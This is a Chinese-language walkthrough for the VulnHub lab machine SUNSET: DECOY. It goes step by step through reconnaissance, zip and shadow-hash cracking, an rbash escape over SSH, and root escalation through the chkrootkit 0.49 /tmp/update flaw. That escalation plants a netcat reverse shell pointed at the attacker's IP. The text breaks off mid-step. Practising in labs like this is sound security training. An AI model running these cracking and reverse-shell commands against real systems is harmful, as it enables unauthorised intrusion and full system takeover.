一、前言
主要利用方式:爆破zip+爆破密码+带权限执行
查看用户目录中,获取可用服务+漏洞使用,成功提权
二、靶机信息
靶场: vulnhub.com
靶机名称: SUNSET: DECOY
难度: 简单
发布时间: 2020 年 7月 7日
下载地址:https://www.vulnhub.com/entry/sunset-decoy,505/
三、虚拟机配置
VirtualBox、网络连接模式:NAT模式、DHCP服务:启用、IP地址:自动分配
四、信息收集
1、探测靶机ip地址
└─$ sudo arp-scan -I eth0 -l
2、探测靶机ip端口及端口具体服务
└─$ sudo nmap -p- 10.0.2.19
└─$ sudo nmap -p22,80 -sV -A 10.0.2.19
3、常规访问80端口web服务,及扫描路径
http://10.0.2.19/
└─$ dirsearch -u 10.0.2.19
4、存在zip文件,下载并查看,打开时发现需要密码
五、漏洞利用(突破边界)
5、使用压缩包密码破解工具爆破压缩文件密码
使用的压缩包密码破解工具为:fcrackzip,若未安装,输入以下命令进行安装
└─$ sudo apt-get install fcrackzip
工具安装好,开始爆破,获取一个密码(manuel)
└─$ fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt /home/kali/Downloads/save.zip
6、cd到下载目录,输入密码解压save.zip文件
└─$ cd /home/kali/Downloads
└─$ unzip save.zip
7、解压完毕,进入etc目录里面存在6个文件,
在passwd中查看到有root以及另外一个用户存在bash权限,其他皆为无登录权限
在shadow中,发现存在root和另外一个用户的已加密密码
└─$ cat passwd
└─$ cat shadow
8、再次进行爆破,破解用户:root及296640a3b825115a47b68fc44501c828 密码
成功爆破,29用户密码为:server,但root暂时无法爆破出来
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt shadow
9、获取密码后,且存在登录权限,22端口登录,突破边界
在登录后,发现无法执行一些其他命令,是个受限的rbash权限
└─$ ssh 296640a3b825115a47b68fc44501c828@10.0.2.19
10、退出ssh连接,重新用bash命令连接,获取第一个flag
└─$ ssh 296640a3b825115a47b68fc44501c828@10.0.2.19 -t "bash --noprofile"
$ echo $PATH
$ PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ id
296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ cat user.txt
35253d886842075b2c6390f35946e41f
六、提权
11、发现SV-502目录,在里面发现一个logs文件
296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ ls -la
drwxr-xr-x 3 296640a3b825115a47b68fc44501c828 296640a3b825115a47b68fc44501c828 296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~$ cd SV-502/
296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~/SV-502$ ls -la
12、查看之后,发现是一个pspy64运行日志,有一条有用的信息,存在一个chkrootkit-0.49服务
296640a3b825115a47b68fc44501c828@60832e9f188106ec5bcc4eb7709ce592:~/SV-502/logs$ cat log.txt
13、搜索chkrootkit-0.49的漏洞,并查询利用方式
└─$ searchsploit chkrootkit
└─$ searchsploit -m linux/local/33899.txt
└─$ cat 33899.txt
重现的步骤:
- 将一个名为 "update "的可执行文件放在/tmp(显然不是挂载的noexec)中,其所有者为非root用户。
装入noexec,显然)。 - 运行 chkrootkit (以 uid 0 的身份)
结果。文件/tmp/update将以root身份被执行,从而有效地
如果恶意内容被放置在文件中,你的盒子就会被根除。
如果攻击者知道你在定期运行chkrootkit(比如在
cron.daily),并且拥有对/tmp的写入权限(没有安装noexec),他可能会
很容易利用这一点。
14、复现漏洞
首先将想要以root身份执行的文件命名为update,放在/tmp文件夹下,然后以root身份运行chkrootkit就行。
$ echo "/usr/bin/nc -e /bin/sh 10.0.02.7 9999" > /tmp/update
$ chmod 777 /tmp/update
nc开启9999端口监听
└─$ nc -lnvp 9999
搜索chkrootkit的运行服务
~$ find / -name "chkrootkit*" 2>/dev/null
在用户根目录运行honeypot .decoy文件
15、复现漏洞